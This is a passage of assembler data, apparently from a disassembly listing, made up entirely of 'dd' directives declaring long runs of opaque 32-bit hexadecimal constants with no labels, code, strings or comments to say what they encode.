5A2DF91Ch, 0C4EF85F8h dd 7C2D5FEAh, 47BCE189h, 709865Dh, 7BC65DCBh, 0D2749506h dd 0FE8426A8h, 2A58D195h, 82BBBC53h, 6C71382Ah, 6819953Ch dd 2A9051F4h, 90172E36h, 9500ED74h, 66BBEEFDh, 0F5DDCD83h dd 0F89B0B9Dh, 7A53A21h, 70341681h, 95D301C2h, 0A5B59535h dd 49209EAEh, 87E33220h, 0FF2E5C0Eh, 0D2991145h, 130A1B22h dd 70BEFA0Eh, 4405A47Ch, 4C1FD0Dh, 0CC687708h, 4D08F8BFh dd 0B6118D30h, 1DF610B5h, 291795E2h, 2A9FA3C1h, 7E614BB6h dd 0D33E05C0h, 1E0C466Dh, 108094E4h, 7FDA59F1h, 7BF7CA0h dd 0CE714F27h, 0E828CB85h, 8173A890h, 35254053h, 1853154Ch dd 4C050AEAh, 10A4F91h, 6496F7FDh, 92239812h, 23281575h dd 50264991h, 92689144h, 0C94D6069h, 2EB55282h, 418FF444h dd 0B517BF6Dh, 0C716C15Ah, 95F77B7Eh, 375C6206h, 40B6D18Ch dd 206F9E73h, 5227672h, 400C0FC4h, 0CC9B016h, 136D12h dd 94142847h, 28B1525h, 95D8FF17h, 87D3924Ah, 1F4BAA05h dd 44130139h, 63DF8968h, 2B1ED76Fh, 5A760F2Ah, 0A8254591h dd 0E8A61496h, 0D60867A3h, 63D4E263h, 6EC985C9h, 0AA442CEAh dd 0B0CB389Ch, 0FF3DC3C7h, 0BDC139D0h, 9C56C222h, 815460A3h dd 241F1566h, 2637E060h, 0EFF0B6D9h, 100D2E3Ch, 0CC1BCD21h dd 32A8C669h, 19E4AF4Ch, 335C0310h, 61B7698Ah, 220F06A6h dd 0E2694866h, 357A47A0h, 3489AE23h, 0E7174618h, 5E32DF22h dd 0C266C6D0h, 8D07462Dh, 38C401ABh, 0DBFF33EBh, 59762C5Ah dd 8F20147h, 0CF323D05h, 0A55721C5h, 45C149E2h, 62E7C053h dd 0AA3B254h, 99CCDD1Fh, 0B3FEE841h, 0B9119FB9h, 6262CBA9h dd 3114C868h, 17D7A9A7h, 8FAC834h, 40332565h, 9FD02A78h dd 6A8F6817h, 0A3AEC132h, 2FC13B62h, 0C94C1360h, 47420305h dd 34BEF84Eh, 40D91F82h, 5D5DE8Ah, 11026ACAh, 6320A1C2h dd 0C5F1F596h, 890C62F2h, 1C49E56Ch, 66C1F723h, 4A78544h dd 8393174Fh, 2D84E280h, 9AA07883h, 0DB1FD5EFh, 87E721Fh dd 0F898F5B2h, 0A1D42097h, 3281FADCh, 0E627F587h, 5E880DCh dd 0BB468BC6h, 0FDF63B0Eh, 9C87F950h, 0E9C9240Fh, 0BD50C86Ah dd 2EB0ADEBh, 0E1F35914h, 65F9481Fh, 0EC6A9121h, 3892DF63h dd 1518524Ah, 138A40B1h, 0A1AA2DF2h, 40228B82h, 0AC07A34Ch dd 0FCACC0EEh, 5F7E2498h, 54E52E22h, 1B4FC665h, 0E4AC8A83h dd 0DA212A25h, 0F53E7C19h, 6D5975Ah, 0D2CEAE0Ch, 8445B8E3h dd 9D335960h, 0D668718Ch, 0AB2A1875h, 37D8FB68h, 72767945h dd 0BB6261B1h, 0F6285218h, 7597EA1Dh, 0FD3E4A0Ch, 340CD7C7h dd 7D660CF7h, 72563BBDh, 4E749CA8h, 6D06C1Bh, 10EB1512h dd 0DBC23BB1h, 0F31A655Ch, 602902A3h, 385F7843h, 8E4A6830h dd 9ED81252h, 0EBB08049h, 7FD357AAh, 390E7870h, 215B297h dd 0D5923691h, 0C768B883h, 11D5173Bh, 0B0CD5022h, 0A90568Eh dd 32034306h, 17FC2687h, 6912CA95h, 0FEA726B5h, 62FBA7D3h dd 0B4D749C5h, 348BF867h, 79108A2Ch, 294943E8h, 4E409BFh dd 0EB9450E3h, 90769A15h, 0CD18B45Eh, 1E600B02h, 889D37F9h dd 45A36083h, 86631DA3h, 22834891h, 1910CC6Bh, 79184684h dd 0CC4CCA0Ch, 1987B63Ah, 862E1C26h, 0A189942Eh, 416BEAFCh dd 38ABCCB5h, 374ECACFh, 929214EEh, 5B50D300h, 7F3532E4h dd 4436B43Eh, 415E97D8h, 6584D709h, 0AD619885h, 0AB45CC23h dd 0C1CAC8A6h, 56149DCAh, 0AE2CDC8Dh, 0B4E12F27h, 0DAC3C6BAh dd 0E5725970h, 0B55C9745h, 0B4D3A94Ah, 0FA341271h, 0ED8A4A90h dd 50266F29h, 3B72AD22h, 980646C5h, 0B464589Ah, 2F636505h dd 0E44EFA22h, 4BA38963h, 16816FB1h, 2033E62Eh, 0F0F15F39h dd 53C524BFh, 198A62B9h, 0C1EE4797h, 0E306FD01h, 0DE1C5E2Ah dd 5A97A2EFh, 5DB9E050h, 0B2729324h, 2BB76168h, 300C5A32h dd 0B07E2C9Ch, 0D1F18250h, 47E80842h, 3E0105C5h, 633CFEBEh dd 900CA4Ah, 39038C28h, 0DC5A592Bh, 0F8CA0551h, 0FE8AA521h dd 94BF6h, 0B1F34D25h, 8625E486h, 30BA749Ah, 0E4524149h dd 34543F2Ch, 0C5D21489h, 0B0095D0Bh, 49081A56h, 1121F084h dd 66EB12C4h, 0D2D041B8h dd 8220130Bh, 1C63E09Bh, 86766CADh, 62C8B63Ch, 872C31F4h dd 194EA312h, 6097A6DEh, 0ADF1FB70h, 0A6CD4841h, 11FBDC1Fh dd 0B3221A3Dh, 47F09F81h, 3F8F4C71h, 176E07E3h, 64E41D40h dd 0D1A9F030h, 2973F03Ch, 6542DD36h, 0C0978CB1h, 0A04E272Ch dd 69082938h, 74DBF957h, 14371E99h, 64C99146h, 2B2B4F5Ch dd 63A5001Dh, 0EB8BA178h, 3F5E537Ah, 3592724h, 31F05629h dd 4411A80Dh, 79A798CDh, 509F751Bh, 40980149h, 37D53222h dd 177BE30h, 1D2CAD1Bh, 3D7634C7h, 4E9F9C94h, 202A53FDh dd 9746D851h, 1382B6BEh, 4894A27h, 0ECAA218Ah, 3E3240Bh dd 0F4AACC45h, 3A443F80h, 44822533h, 1886E02Bh, 1CF07F7h dd 43046FF6h, 9DAFE369h, 0B98894C1h, 4E60AB6Eh, 0F248B014h dd 0E754B605h, 0B2509A82h, 0EB0E07C9h, 596B16A9h, 16585A1h dd 0A0EB5725h, 0AF7C70B1h, 114526ACh, 3F202423h, 43F65828h dd 0FEA19FAh, 143487F1h, 4C271FE4h, 0DF2CC552h, 8C936EC6h dd 8453B49Dh, 2C3AF08h, 3A8574FBh, 78CA2743h, 0E632D126h dd 0C519DA27h, 0AFFD87E1h, 0D1B53D38h, 32B292C5h, 0CD0440ABh dd 0E6FC069h, 0FAA0DA50h, 4D1552C1h, 0E5C2AABAh, 0A5C4295Fh dd 2810041Bh, 0F85EE94Ah, 0AA4A4261h, 0EF7A3ADh, 0C1A07D90h dd 0F1B4211Eh, 6AEFEEC1h, 5606DEC1h, 827D82A2h, 4FE0031Eh dd 0A058CB5Eh, 2448E9DEh, 0CACD68E0h, 6B28AB85h, 13C17016h dd 24C16AC1h, 4AB23982h, 0C32AE1CFh, 0AF32C14Ch, 0C2E10617h dd 235704BFh, 6BFECC1Bh, 1DD82227h, 0DDBABC7h, 0C7F606Eh dd 0EBB02690h, 47A10914h, 8669301Dh, 0D37B0245h, 0A4FC7CA4h dd 8006373Bh, 0E09CB949h, 21474800h, 0CB7B44FBh, 0C03DECA1h dd 4BE80DA7h, 0F4F6B340h, 1C8BF57Fh, 7AF0BC8Bh, 0C283138Fh dd 21D88C06h, 5CB26589h, 3E80550Fh, 0E559677Bh, 0A8C32490h dd 7831177Bh, 66FCB260h, 0F8778540h, 0F350C321h, 6A091179h dd 14D42E54h, 0C5341629h, 2997B173h, 9580C73h, 804D4B98h dd 78C2E4B8h, 0C401854Bh, 1ED87965h, 20048ED1h, 483A2452h dd 4898BAC4h, 0F05A5A86h, 4B85C537h, 3EB12CC9h, 45543AFBh dd 99C67F85h, 0D998F531h, 2F49BAC2h, 31BCE90Bh, 0B27F45F8h dd 44133BCCh, 3E9FFAE7h, 0C70CC002h, 60238B1Fh, 218F087Fh dd 825704A3h, 230218h, 192894AEh, 927D1C03h, 6DA808CBh dd 0ACD0696h, 0D51E7344h, 0DC3B7313h, 0C59DC4DDh, 21D5A829h dd 97E18266h, 3D011B34h, 0C8E47F2Bh, 0E573067Bh, 0EB8692EAh dd 96AC6EA9h, 0A34BFD7Eh, 8C2E1185h, 108202F4h, 7B726A75h dd 443D5FA2h, 0B54DA240h, 3F64772Ah, 0E41784ACh, 24EC08EEh dd 0AB92C0C7h, 8A184907h, 7AE743E0h, 1463E4CCh, 597E2ADh dd 0AF7B8FCh, 6E257007h, 0E61FC1Fh, 94812F5h, 390509BFh dd 635BEDCh, 743ED7DAh, 0A40F3610h, 0F3313A55h, 0DEF22E83h dd 0EB27142Fh, 997AD0E6h, 2C5D7823h, 0A192AD1Eh, 0A1695AB9h dd 0E5544F9Dh, 9614C6FCh, 0AFB7E724h, 0F04A8EC5h, 53BE0CC1h dd 0DC7740FBh, 9C255DCBh, 100D8004h, 48AFA242h, 5D218AD9h dd 60BAC583h, 0F1854E8Ah, 183F0227h, 101707BCh, 0F438DC14h dd 9464AAE9h, 0B9EB1011h, 0D3770EF2h, 0B81D605h, 0D03F0A43h dd 177023B6h, 0D8C32256h, 79EC0C50h, 0BA301011h, 0EFAF7006h dd 5AF93FCCh, 97EA7D92h, 0C93930C3h, 283FE60Eh, 9C08403h dd 4C53C751h, 0F3C4FBECh, 119EBE9Dh, 9C00E4ADh, 5D61BDAFh dd 3165A0B2h, 0F5D73C7Ah, 4DCCC6h, 0A25A7B9h, 9145043Ch dd 93E93A7Bh, 14C23088h, 0A7B8EE4Dh, 489A24Bh, 0E3D1D453h dd 243A1E9Eh, 44834C32h, 4BFF7B92h, 0CCF0A58Ah, 59C47630h dd 97A05BA7h, 51038E82h, 31B6C72Dh, 75484C5Bh, 1945268Ch dd 49CB6451h, 4FA05E5Ch, 0A078AD73h, 0EC09DF43h, 0D05DB9ABh dd 3B628CBCh, 482EF3AAh, 2E92A506h, 0D248F084h, 3613E59Bh dd 14437644h, 1C5F3E48h, 0E6CDF29Ch, 1203E553h, 0EBE9E6C1h dd 1DD94625h, 56BE856Ch, 0A5950215h, 23A2C751h, 0C2F5825h dd 338AE433h, 0CEEB33ECh, 746B7407h, 793D1858h, 3BCE540Eh dd 71A70F8Ah, 5D94BB56h, 0EAB520C7h, 0F5753AEBh, 45574128h dd 12CAFB73h, 345CA6D3h, 4AAFB8F9h, 0C189B610h, 3D25AE80h dd 8FE48B2Fh, 1AAE9F7h, 0BB30BED5h, 0E94A85DBh, 6A0F741Eh dd 3F3BAB55h, 6DC9528Fh, 40FE3CBEh, 0F5D7C782h, 1375B388h dd 0C4C779FFh, 0BC7FAB74h, 943A40B8h, 565E8F05h, 0C484DF0Fh dd 18256A27h, 5EAF8C58h, 54F3602Eh, 5352AF23h, 0B08A8559h dd 1DF92A28h, 9C78B0E4h, 5D213C37h, 0A2020873h, 13132BA2h dd 3013C413h, 88052BBh, 0D99AE64Dh, 33464D1Bh, 5CF364DCh dd 552504DFh, 0FD27FF07h, 370C9210h, 77AA624h, 62D1C795h dd 7CD08CCAh, 4A68307Ch, 8F5166ADh, 195E3841h, 0B5D84B62h dd 1749309Dh, 0D217FFA2h, 3F792ECh, 0B09E5D4Eh, 0E7C42038h dd 0C6A1424Dh, 4D86A609h, 25BB7FDFh, 0A9BD1B45h, 580C12CAh dd 0CB3266DEh, 9C5301F0h, 0FD05E7CEh, 210CC60Ch, 15324779h dd 80B350A5h, 0DDAC21FFh, 46A04650h, 72E90205h, 0B9248465h dd 347CF962h, 8BB2CE6Ah, 270067AEh, 7E4FBE60h, 0A75F9904h dd 318B886Bh, 747D318Fh, 0A4D33189h, 1F78312Bh, 7F205149h dd 0A7C51570h, 67FAEE12h, 62918CC4h, 41D4BA18h, 0D1F0A10Ch dd 0B3D0B40Ah, 622ABDB2h, 6C72A473h, 0A860664h, 3770AD0Dh dd 0EA7337E6h, 608D3E18h, 0CA0DD70Dh, 0AD04A060h, 30D8A2A8h dd 8B2656AFh, 0D1009E40h, 0B1954818h, 34C056D9h, 680C0563h dd 0B739582Dh, 0AE2A668Bh, 78B18D3Ch, 0C447110Dh, 432AA553h dd 685A6F96h, 20028436h, 697DEE95h, 88C26B28h, 40CB20F3h dd 3B85E0EFh, 0C4A9142Ch, 0E7D017E6h, 51D7AE02h, 1A4D426Dh dd 1A64795Dh, 4A7027ABh, 2A60FEE7h, 0CFE3C61Dh, 8163CD08h dd 0F74D83E7h, 3E606090h, 5758589Bh, 92962939h, 1FFA582Eh dd 61050FE8h, 8CA0AF56h, 441CA46h, 6881D48Eh, 0A2872747h dd 25A1BCA4h, 1507C151h, 2B27C059h, 47DEE9DAh, 3B27B1C7h dd 2AEEDBAh, 0BFFE0ED5h, 331CDD65h, 0A11CB8ADh, 248971E0h dd 0B07FF847h, 0E57EC059h, 60C48BC2h, 803C7174h, 2FE7F9A5h dd 0C81AB4A3h, 5D905336h, 0E72C60E8h, 0F62F66B6h, 6438D398h dd 24628D74h, 601CE281h, 0E481EBF9h, 95FF90Dh, 47F026C8h dd 0F23B18A7h, 4D03AAE3h, 32BAB05Eh, 5557B7D1h, 0E1AF5628h dd 33823DA6h, 557FA5CDh, 265503A5h, 0C872BFA8h, 33B9DC13h dd 0C028A82Fh, 8AA8BF55h, 8524C580h, 0D7580085h, 5DAAE70Fh dd 0D7009DF1h, 8446D0CDh, 7E110912h, 587C2328h, 550055CBh dd 7EC02708h, 3C86B0FAh, 95C45BECh, 19106C3h, 7F3CAAF2h dd 2C51BEE4h, 6732F22Bh, 0AEBDA36Bh, 2F2AA7Ah, 0D5DAB973h dd 0E555A821h, 0C8C3DBA2h, 0FC05F716h, 717C1E66h, 0D515A77Ch dd 37177EB8h, 2C9B42EDh, 248A4092h, 6654CAEAh, 0FA773ED5h dd 0BB0CEAFBh, 0E4749A81h, 6E178564h, 13F7FA48h, 0DF4B8656h dd 0D82AE868h, 4A3460F5h, 0C468CAEFh, 943C6188h, 0C48DAC99h dd 4FD50619h, 0D88C7C1Dh, 0FCB008Bh, 0CC0DAEF5h, 0C2505204h dd 0A9E20121h, 85E183EFh, 9D8CD3EBh, 10375999h, 0AEC1A3C1h dd 0EB01F0C4h, 579705F7h, 155800C3h, 0C1F0799Dh, 0D35EF08Ah dd 42063385h, 50226BC4h, 105CF44Ah, 0E9158CD7h, 1E89C66h dd 12243121h, 0F8617189h dd 0A5EF1CC3h, 3D888D75h, 23567580h, 484D681Eh, 0D725BA34h dd 8B9A7086h, 5359EC75h, 3748E910h, 0E6BAB79Ch, 0B0D80D2Ah dd 65A3CA63h, 0A0BE2F22h, 5415014Eh, 40E69CA3h, 0A0A2D18Ah dd 1A27ACF1h, 49D254AAh, 53C70D85h, 0CA6D418h, 3C3E601Eh dd 29EC0982h, 0B6583C06h, 0D28657F9h, 0F2850E95h, 0D7607E57h dd 0E36A8AD1h, 4E880A4h, 2EF2108Ch, 977B5D28h, 98329D53h dd 8D497322h, 0C51DB08Ah, 4BF67F0Bh, 98B7BCCAh, 0E1058340h dd 8A4A0B41h, 8700BE4Fh, 4F191176h, 14E3D01h, 7E20A063h dd 1053D3A9h, 0B4FA3CC1h, 9F707029h, 2D2B1F81h, 0BB07C328h dd 115A772Fh, 4A06A0C8h, 0C2353A66h, 770044Dh, 3308FA18h dd 3A215036h, 399C550Fh, 3CA368DCh, 6FF0297Dh, 0E2FA460h dd 0EFAE454Ch, 703C0687h, 626E67BDh, 0DB9580Ah, 9DDDBE46h dd 4306A366h, 0AFD06297h, 7825BFC7h, 0DF315377h, 2F29F1F6h dd 0BC829E30h, 0CC38F082h, 0AD83D310h, 2224EB7Ch, 230ABCBBh dd 454C5712h, 650DEB7Ch, 18D8205Ah, 0E34B4103h, 12B937Ah dd 0FCC5AA1Eh, 0BEB47EE5h, 7C28E23Fh, 0C7934D88h, 731CBA4Eh dd 0C31DD796h, 1415AE1h, 0B02AA61Bh, 71EE7686h, 1696BC8Ch dd 34CB0421h, 8A60B8BAh, 2DB11748h, 90A27F2Dh, 9125F020h dd 84244210h, 7888758Bh, 44267089h, 0BA627DBFh, 0A9342710h dd 4996A3FCh, 5C592106h, 0ED07A69Eh, 1741C952h, 0D880348Bh dd 0F3398E3Ah, 7541FE05h, 2A6F31Ah, 62EDF226h, 61180535h dd 5579C62Ah, 0E6689C51h, 0BE458E18h, 480A4ED6h, 903EF255h dd 0C97CA6F4h, 0A8BA3324h, 526863DCh, 0C878690h, 44D7C529h dd 0C55840F9h, 4C7BD18Dh, 0CDD7C21h, 0C8BEB33Ah, 5FAAD24Fh dd 0CFE3A06Ah, 3164AAh, 3185C547h, 6E10A652h, 0CD46EDE3h dd 28324BF4h, 83150466h, 6A17FE09h, 1A8063E5h, 78D78354h dd 0AEBF2060h, 0AA59D6Fh, 18132CDh, 7ADDA80Bh, 89BF7FEEh dd 5277FB62h, 6C6BC188h, 502007BEh, 6D43D5BCh, 0B2BD3BF5h dd 46609389h, 846ED944h, 0B964398Eh, 383816F9h, 0DCC94D33h dd 78E1AF96h, 0DB09D994h, 0B11C65F4h, 4ECA65A2h, 975664EDh dd 0EF90FD20h, 8455944Ah, 0EE2B4139h, 0BA51EAA2h, 0C13B02E3h dd 65760042h, 30182AA6h, 1346184Ah, 623787F3h, 0CEC303ACh dd 0F8384118h, 0B40710C2h, 66C5D101h, 0E6AA26A5h, 647083CFh dd 15302E0Bh, 2CAD0323h, 72AA108Ah, 0D37BD05Bh, 0EDC61E68h dd 0BCCC5BDEh, 0D0449313h, 70654218h, 450E7CC5h, 0C4ED99E8h dd 35FA0228h, 100581BFh, 0A20FA53Dh, 0D3BA0A57h, 0E718A256h dd 703B3432h, 5655F82h, 56912A0Fh, 955DFA80h, 99D008BFh dd 7D48ABA2h, 603F2B51h, 171B4519h, 2D66A844h, 8072F455h dd 8B4C6813h, 1E782045h, 0F5EB9E1h, 2C059615h, 268E9D91h dd 0C7EA0EE6h, 5596C5C4h, 0A8FF4164h, 301D373Bh, 0EACC8D52h dd 0A7967418h, 0EFCD0CF9h, 0C1FCA160h, 0C8726793h, 1AEB5129h dd 9100641Dh, 72442457h, 8658BC79h, 80BEAE91h, 2D5DA15Eh dd 0E6E3174h, 25710970h, 11993235h, 7D2C578Ah, 8A8BC526h dd 72A14AB4h, 0FCE7A2F0h, 4610F847h, 0F48189C5h, 17580494h dd 0B5F940D2h, 278067DDh, 0ECD2535Fh, 82639CC6h, 13214578h dd 7FBA6E93h, 5A28D1FCh, 0E7FE7159h, 0DBCE2E15h, 22DFEE37h dd 75661BE5h, 0C29324AAh, 6172047Bh, 0AA1F3F44h, 0B571C029h dd 0F535C8D4h, 4C08BBB3h, 0D6DCBD5Dh, 63092451h, 52180B84h dd 53091FBAh, 521A37EDh, 6AB21A66h, 5852C60Bh, 8243BE21h dd 2192FF14h, 0AF98F0B8h, 22AF52FEh, 4E4A3E3Ch, 0B386EBCEh dd 0E961C62Eh, 8F550F1Ah, 26986127h, 8DEA0454h, 2DEB4918h dd 5792830Ah, 148E9CB0h, 0B01A960Eh, 0D07831D0h, 2561C3FEh dd 80F72340h, 4ACFBE02h, 0B439D136h, 177FF79Ah, 0AA9F388Ch dd 2B1A5922h, 28CB2E28h, 0FE5D08E2h, 3183D0CAh, 32E620AFh dd 0B15CE710h, 69272FDFh, 65F08895h, 54042295h, 0FD39C17h dd 22E9E691h, 759A4CB5h, 38DA1F29h, 0A0C45AA0h, 72CC3422h dd 35075E31h, 9960F6D5h, 4263E4F5h, 78EF69D1h, 0A72BC626h dd 8AABC95Eh, 0B9DBEC60h, 916B2063h, 35F54A2Ch, 7A49CB5Ah dd 6F5969D8h, 0DB522075h, 8526432Eh, 2C9540A7h, 9141EFF7h dd 6E2E66BDh, 0A0038875h, 0FE316DECh, 0B28C0BE3h, 2AF25E94h dd 0D0DA2357h, 0DEA01285h, 704F157Ah, 0CC0C5057h, 0D2B3C6BEh dd 78EFFA06h, 0B4C0769Dh, 0C0EF4506h, 0AB51234Fh, 0F741A8Ch dd 0E29794E6h, 0C5829585h, 54AB7248h, 0A2F948C4h, 0F4FFE522h dd 18B75CFh, 0CA303ED0h, 0C22751Dh, 18C4D079h, 0E5E4FF4Ch dd 0C1D2D0AEh, 4B36856Ah, 0AA6B35D0h, 293B2FF0h, 9D6ED712h dd 6F7C068Bh, 6817A65Eh, 19C3A3A9h, 3E20FA13h, 40CA1785h dd 7D17A28Ah, 179B312h, 24ABB56Bh, 0F87D8409h, 3321B58h dd 0C5BDA074h, 0B5121F5h, 9E63ADD2h, 0D0A11620h, 1234A52Eh dd 0B47A162h, 0E5A7F79Bh, 0EC191D12h, 80107B9Ch, 460A3963h dd 93D6F6DCh, 0AD5750E0h, 941C3612h, 216751C8h, 738F2A4Ah dd 49DFE856h, 5F852F90h, 0DF95214Dh, 31AC837Eh, 20B9399Fh dd 76DF72DDh, 9296BF83h, 30C69C07h, 9126E26Ah, 168C70EEh dd 482FF9Ah, 0BDF40C91h, 6A088238h, 0A9881063h, 0A0E318CAh dd 14B94465h, 312C4094h, 8B1F451Dh, 55945BB2h, 93DE349Eh dd 0DF0F50C5h, 30EF24C9h, 30DC61A9h, 6D0B31E0h, 0AA52836h dd 955B1AA6h, 174D22B7h, 80B4AF46h, 7CD4C651h, 215649Eh dd 847A4D83h, 8E18C739h, 0FD1D292Bh, 294CE47Eh, 904C6912h dd 510981B4h, 0B9B027CEh, 360FEBF2h, 666290DAh, 32A38710h dd 2CD8F1A9h, 2EA813E3h, 4E38A17Dh, 166083DDh, 0DAB40E47h dd 4F1D5BCFh, 1506F1Bh, 194AF0A0h, 34CAC51h, 300A0865h dd 77A94405h, 0B4720B32h, 36FD6580h, 4F22B1ECh, 0C27ED3B5h dd 595EEB8Ch, 0EBAF1A37h, 921E4D83h, 0E8391327h, 7307772Eh dd 78DD27E2h, 6317398Fh, 1964A76Ch, 22FFBE3h, 936F414Eh dd 15E50C56h, 0D14A451Bh, 1756F229h, 0D97EA0F2h, 540297D3h dd 557E91B4h, 6E16440Ch, 0E8D187DFh, 9CE15398h, 2119B54Dh dd 8167C127h, 0F3DF7FEEh, 9AA3A221h, 0FC69C8D5h, 3AA5D7BDh dd 929DE50Dh, 0F03477E8h, 0AD988A18h, 0F421F4B2h, 0D3C40D3Dh dd 799C1BE0h, 600AC985h, 0D88B3193h, 47D7471Ch, 0FC765405h dd 0ED808101h, 624D73h, 0FB3E5255h, 98BB3EC7h, 5720E650h dd 1FE6FC71h, 4535D1F3h, 66016759h, 9C699BBh, 2115714Eh dd 2ACD2789h, 0C48A3865h, 9119038Dh, 316A0494h, 62998912h dd 63BC3156h, 0A023A18Ah, 50FC7CCh, 650F455Bh, 0A241DED9h dd 0A127C998h, 9F8A982Ah, 0BA5D37A9h, 0B2359B7Ah, 0AA39893Ah dd 0EA972C42h, 0FB222822h, 662E63CCh, 1B6EA97h, 0D458ED60h dd 0D0A7C4h, 7634C2C5h, 0D5F2632Ah, 71197F76h, 0E91A4831h dd 0A4CADF5Eh, 48FCC0FEh, 0D69D2FB4h, 50AF4247h, 40E4F4EEh dd 0D25CB502h, 35D2BE64h, 0B6501A0Bh, 0BC2D46AFh, 0C156610Bh dd 8279235Dh, 46135CAh, 9204EBB5h, 1B20E751h, 85A5144Dh dd 527BAE55h, 46EF1AE9h, 9729A126h, 0CC522D3Ah, 0C5D461AAh dd 2A50ED27h, 51D959F9h, 0F02A873Eh, 0B4721418h, 544ACC78h dd 0EEBDA08Bh, 606F498h, 6F871F6h, 0F68044A6h, 8C246C6Eh dd 20DF7975h, 0ED84AEA9h, 0BC2B88E3h, 0AFD0BD40h, 0F5C1D218h dd 394E75D0h, 47C1D545h dd 5560EB1h, 2DAFB79Dh, 0CDA90B8h, 84628E44h, 526BDB09h dd 0FD513A9Ch, 0CFE28C70h, 68DD8505h, 0CFB541BFh, 30D6D6D5h dd 1763AB3Ah, 7515E1F3h, 794D852Ah, 0B1835693h, 0B5B564AAh dd 0B5112F50h, 2CE8D20Fh, 1FEEF56Bh, 442F3182h, 0A7E4D741h dd 8EDE3D6Bh, 22508D1Dh, 6B2C7CABh, 28614457h, 50D1ED9Ch dd 0CEEC15FEh, 0B12A7E3Ch, 8BF7DFFBh, 0B9AA12ABh, 590B2EBCh dd 677C3C86h, 8A9922A2h, 0D32D6EB3h, 842525FBh, 694812C6h dd 154A2984h, 18998AC4h, 7AE2F1A1h, 4B42E84Dh, 504EAF0Bh dd 0CD76B8F0h, 912C1FE9h, 7205297Eh, 180B4D0Ah, 0EF972671h dd 60F94A04h, 2B1275FBh, 20F02ABCh, 602ABE0Dh, 0F0060C5Fh dd 2F0C7C40h, 0DFBE1076h, 0AB5C46ADh, 0E5A446D1h, 0C499985h dd 3AE42312h, 98F243CBh, 2135197Fh, 657C8AD3h, 254D5C96h dd 60A06449h, 3209ADC9h, 0AAF25709h, 0F59DC580h, 1846208Ch dd 5FA86781h, 4CF31C9h, 0FB9276AFh, 94DFA558h, 9FC2181Bh dd 0EDF81B44h, 0FBF027AEh, 0B17C9775h, 423937E4h, 0CC24450Bh dd 23BAC723h, 0F16ABE13h, 611E42A8h, 332E2B66h, 0FA7EB24h dd 3F856421h, 0A0A2AE06h, 5CB886D0h, 71454F52h, 3EC3A691h dd 9B120290h, 7910278h, 8455A6B1h, 3ACF2460h, 8A50F08Ah dd 7055A805h, 20972042h, 9647C8FBh, 3EAA4948h, 98FD107Fh dd 6C6C9A04h, 8D073A4Bh, 0E078C1CAh, 0B17DD7EEh, 49CA15A2h dd 0E8B29F14h, 0E7801094h, 0E0CC67D1h, 0F8CB571h, 8C605F26h dd 0C28EE850h, 14B4BA3Dh, 8A869638h, 9C35155Eh, 484C1939h dd 5820244Ch, 0E0CC5B17h, 531E087Ah, 8ABC44E0h, 810A6CCEh dd 0D7CCF24Ch, 3C40BD30h, 0E98DD64h, 14609D52h, 2BC2A1B0h dd 6677E884h, 1966C5F0h, 0A9C52288h, 0DEF0B666h, 0B9462606h dd 52C0DD07h, 8363A07Ah, 6D27E09Dh, 0A1E12047h, 0F2A0B291h dd 0DBE85597h, 8918B212h, 1975560Fh, 45467B59h, 41992E9Dh dd 0C8BD465h, 0DF816DAAh, 2248A80Dh, 0D1641DFBh, 0E70CEFD3h dd 8B6DF05Dh, 0F0BA72CCh, 0F076FC67h, 0C26A7778h, 0E4144598h dd 121A2AC3h, 0A041BB45h, 0B3BAAEBAh, 1C9CC78Eh, 0EB92DF46h dd 0F4468221h, 855D9E58h, 3D8C482Ah, 0B7544141h, 0C5B558B3h dd 46FE1B28h, 0FD64F7EFh, 0E2A8D230h, 83CCAF1Ch, 0D483E2CAh dd 0BAE9B931h, 319701A4h, 0F8350965h, 27268FA6h, 0C86A0843h dd 6D97230Bh, 43A2DC6Ch, 0CA8FC0EBh, 0B95ABFD8h, 180B4DACh dd 28F2A7C1h, 8B312509h, 650DF30Dh, 0A8C7069Bh, 0DDE2A300h dd 8DF24BFDh, 28A8B24Bh, 0F4832C6Fh, 0C5FE1D4Dh, 0A59DF957h dd 728D6EB3h, 9D1E098Eh, 437C566Fh, 0CA22CD08h, 0EB545D35h dd 0A3054D11h, 8BB70AB1h, 0F2297828h, 29DE769Ch, 0FF029C72h dd 184C89C7h, 1E475EBBh, 910483A3h, 39182408h, 64526862h dd 7FFF4535h, 0BCC99E60h, 0FAB305FEh, 174BA376h, 4FDDB8E5h dd 72AE48B2h, 0C6ED9D5h, 225D6D92h, 2EA5E68Ch, 0C628222Dh dd 1E6B4D99h, 5DD5D75Bh, 0B1B1894Fh, 8A2090E1h, 230C8BDCh dd 0FF576C0Dh, 6B6D6539h, 0D6A34972h, 0C2A395C8h, 0D104CED9h dd 574CD68h, 0A204A195h, 553200D1h, 0D6246B4Eh, 0CCDAE312h dd 43AAD073h, 7CAA5153h, 1CE3AFC4h, 7B11C16Eh, 2333B3F6h dd 80CD5C92h, 4F95F0BDh, 9F59A11Ch, 0D1F06751h, 67C03A45h dd 2744C55Ah, 89D12086h, 0B30113A2h, 808A84C9h, 284EF481h dd 4C13489Dh, 0D1C49627h, 74F1A689h, 0E280E9C2h, 18131989h dd 4540585h, 6275A88Ch, 0A89D84EAh, 0AE27413Ah, 0AC89584Eh dd 0EB625813h, 3AE8D684h, 4EBE75C1h, 0B6DB9D78h, 88CA3106h dd 2F300AAh, 63119846h, 3994108Eh, 8E6CC82h, 0D0234733h dd 7350711Ch, 84B29A44h, 81E78A0Fh, 0C1A7BCAAh, 547E4D4Ch dd 1D527055h, 11C4A7F8h, 0EC790809h, 0FAABDAECh, 30819209h dd 0BC8649EBh, 36A397E0h, 22502071h, 10964401h, 84269E45h dd 71092791h, 204209E4h, 33F2A279h, 4F13709Bh, 1AA63112h dd 2F88C585h, 3D45A081h, 0D09CC2E9h, 86E88BA5h, 0EDF746AEh dd 0D8A854F3h, 1476867Dh, 0E5AF7622h, 91848D3Ah, 98BF8922h dd 59F1DB68h, 5731E15h, 2471E9C0h, 53F8D5A9h, 280C5028h dd 492391Ch, 2B773F57h, 0FE0C7AFEh, 2B801727h, 0FC6425F8h dd 5CFDB00Dh, 99C43468h, 1EB3CFD9h, 4CB19039h, 0C6E1FA36h dd 0AAEA4455h, 48678958h, 0DBAF6D24h, 0AC22CD70h, 0FA7520EEh dd 8CCACC67h, 94ED43C5h, 0BE983C6Bh, 5D006593h, 0E0717F4h dd 0A85123FEh, 28461F8h, 1E4BF845h, 603DC68Dh, 0DF8CD719h dd 3DC18BD3h, 63988838h, 0C586ED02h, 2CF163B2h, 86229064h dd 395816AAh, 30BCB906h, 0E64052DCh, 28DE0371h, 